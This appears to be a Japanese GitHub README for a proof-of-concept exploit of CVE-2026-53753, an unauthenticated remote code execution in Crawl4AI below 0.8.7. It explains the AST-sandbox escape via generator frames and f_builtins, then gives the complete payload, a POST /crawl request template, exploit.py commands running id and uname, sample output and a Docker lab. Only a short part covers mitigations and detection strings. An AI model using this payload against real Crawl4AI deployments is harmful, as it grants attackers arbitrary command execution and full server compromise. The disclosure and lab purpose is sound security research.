
CVE-2026-53753 — Crawl4AI <0.8.7 未認証のRCE(gi_frame.f_backを利用したASTサンドボックスエスケープ)。ラボ + PoC、エンドツーエンドで検証済み。
認証前RCE in Crawl4AI
< 0.8.7。細工されたJsonCssExtractionStrategyスキーマを未認証のPOST /crawlエンドポイントに送信すると、計算フィールド評価器 (_safe_eval_expression) に到達し、Python フレームオブジェクトを介して AST 許可リストを脱出し、 本当のbuiltinsに到達し、__import__('os').popen(<cmd>).read()を実行します。 コマンドの出力は JSON レスポンス内の インバンド で返されます。
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| 影響を受けるバージョン | Crawl4AI <= 0.8.6 |
| 修正バージョン | 0.8.7 |
| 分類 | CWE-94 (コードインジェクション) / Python サンドボックス脱出 |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| 認証 | なし — 出荷時の設定は jwt_enabled: false |
| 状況 | 確定 — 公式イメージ unclecode/crawl4ai:0.8.6 に対してエンドツーエンドで再現確認済み |
詳細な分析:
ANALYSIS.mdでは、ノードごとの AST ウォークスルー、 ランタイムフレームスタック、リクエストデータフロー、パッチ差分を確認できます。
crawl4ai/extraction_strategy.py では、抽出スキーマが 計算フィールド
(抽出されたアイテムごとに評価される小さな Python 式)を定義できます。
これらは _safe_eval_expression() によって実行され、AST 許可リストと
削減された __builtins__ で式をサンドボックス化しようとします。
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Block dunder attribute access, e.g. __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # __import__、eval、open はなし
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
バリデーターは 先頭一致拒否 です。_ で始まる名前のみを拒否します(import も拒否)。
この単一のヒューリスティックがサンドボックス全体であり、完全な脱出に組み合わさる3つの穴があります。
このスキーマは 認証なし でこの関数に到達します。Docker API は security.jwt_enabled: false
を出荷時設定としているため、/crawl のトークン依存性は lambda: None です。
計算フィールド式は次のとおりです。
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
各部分の解説:
ジェネレータの値が os.popen(cmd).read() であるため、コマンドの
stdout がフィールド値 となり、/crawl のレスポンスに反映されます。
これはインバンドオラクルであり、OAST は不要です。
list(g) がジェネレータを反復している間、コールスタックは次のようになります。
frame: _safe_eval_expression() <-- 本当の builtins (__import__ はここに存在) ← f_back ×3
└ frame: <expression> (eval) <-- サンドボックス化された builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- サンドボックス化された ← f_back ×1
└ frame: <genexpr> g <-- 実行中; g.gi_frame はこのフレーム ← gi_frame
g.gi_frame.f_back は ジェネレータの実行中 にのみ設定されます(そのため、
ジェネレータが自身を参照し、list(g) で駆動される必要があります —
まだ開始されていないジェネレータの f_back は None です)。f_back を3回
たどると _safe_eval_expression フレームに到達し、その f_builtins は
完全な builtins モジュールであり、そこから __import__ がサブスクリプトで取得されます。
このコードパスではフレームの深さは安定しています。
f_back × 3は Crawl4AI 0.8.6 の_safe_eval_expressionに対して正しい値です。
公式イメージは脆弱なデフォルト(認証なし)を出荷しています。
# オプション A — docker compose (通常の Docker ホスト、ブリッジネットワーク)
docker compose -f lab/docker-compose.yml up -d
# オプション B — plain docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
ブラウザプールがウォームアップするまで約20秒待ちます(docker logs crawl4ai-vuln →
Application startup complete)。
# 送信せずにリクエスト本文を検査:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# 実行 (コマンドの標準出力がレスポンスに含まれて返ります):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py は Python 標準ライブラリのみを使用します — 依存関係はありません。
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
out フィールドは 生きている OS の状態(id の出力、uname、コンテナの
os-release)であり、リクエストのエコーではありません。uid=999(appuser) は
コンテナのサービスアカウントであり、Crawl4AI ホスト 内部 でのコード実行を
証明しています。一意の echo <marker> がそのまま反映され、コマンドが実際に
実行されたことを確認できます。
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<§2 のペイロード>"}]}}}}}}
raw://… によりリクエストは自己完結型になります — 外部へのフェッチは不要;
攻撃者は HTML をインラインで提供します。baseSelector: "div" は、計算フィールドが評価されるように要素に一致する
必要があるだけです。実際のクロールターゲットに対しては、ページに一致する
任意のセレクタを使用してください。デフォルトのデプロイでは、ネットワーク到達可能な任意のクライアントが 認証なし で Crawl4AI ホスト上で任意の OS コマンドを実行できます — サーバーの完全な侵害、およびサーバーが到達可能な内部リソースへのピボットが可能です。
_safe_eval_expression を削除;
expression 計算フィールドキーは無効化 — 代わりに、検証済みの Python
呼び出し可能オブジェクトを使用する function キーを使用してください)。jwt_enabled: true + api_token)、
また Crawl4AI API を信頼できないネットワークに公開しないでください。POST /crawl(および /crawl/stream)の本文に gi_frame、f_back、
f_builtins、または expression キーを持つ computed フィールドが
含まれている場合にフラグを立ててください。
| # | 穴 | なぜ重要か |
|---|
| 1 | gi_frame、f_back、f_builtins は _ で始まらない | Python フレーム/ジェネレータ内省面全体にアクセス可能。 |
| 2 | obj['__import__'] は ast.Subscript であり、ast.Attribute ではない | バリデーターは dict サブスクリプトキーを検査しないため、ダンダーキー __import__ が通過する。 |
| 3 | 実行中の ジェネレータの f_back チェーンが、f_builtins が 本当の builtins である外部フレームに到達する | 削減された _SAFE_EVAL_BUILTINS から完全な builtins (__import__ など) に脱出する。 |
| 断片 | 役割 | なぜバリデーターが許可するか |
|---|
(lambda: ... )() | 関数スコープを作成し、walrus で束縛された名前が クロージャセル に格納される。 | ast.Lambda はチェックされない。 |
g := ( <expr> for i in [1]) | ジェネレータを g に束縛し、かつ ジェネレータ本体が g(自身)を参照する。 | := とジェネレータ式はチェックされない。(Walrus は内包表記の イテラブル 内では不正なので、代わりにタプル要素に配置される。) |
list(g) | ジェネレータを駆動する — これにより本体実行時にフレームが ライブ になる。 | list は安全な builtins に含まれる。 |
g.gi_frame | ジェネレータのフレームオブジェクト。 | gi_frame は _ で始まらない。 |
.f_back.f_back.f_back | 3つ上のフレームに移動し、本当の builtins を持つフレームに到達する。 | f_back は _ で始まらない。 |
.f_builtins | そのフレームの builtins マッピング(本当のもの)。 | f_builtins は _ で始まらない。 |
['__import__'] | builtins dict から __import__ を取得する。 | Dict サブスクリプト — 検査されない。 |
('os') | __import__('os') → os モジュール。 | 呼び出し対象は Subscript であり、Name/Attribute ではない。 |
.popen('id').read() | コマンドを実行し、その標準出力を返す。 | popen/read は _ で始まらない。 |
| 症状 | 原因 / 修正 |
|---|
:11235 への Connection refused | コンテナがまだウォームアップ中、または Docker デーモンに使用可能な bridge ネットワークがない。Application startup complete を待つ; ポートマッピングがバインドしない場合は --network host でコンテナを実行する。 |
out が null | ベースセレクタが要素に一致しなかった — raw:// HTML に <div> が含まれていることを確認する(または baseSelector を調整する)。 |
| 0.8.6 では動作するが 0.8.7 では動作しない | 想定内 — 0.8.7 では _safe_eval_expression が削除され、expression キーが完全に無効化されている(修正)。 |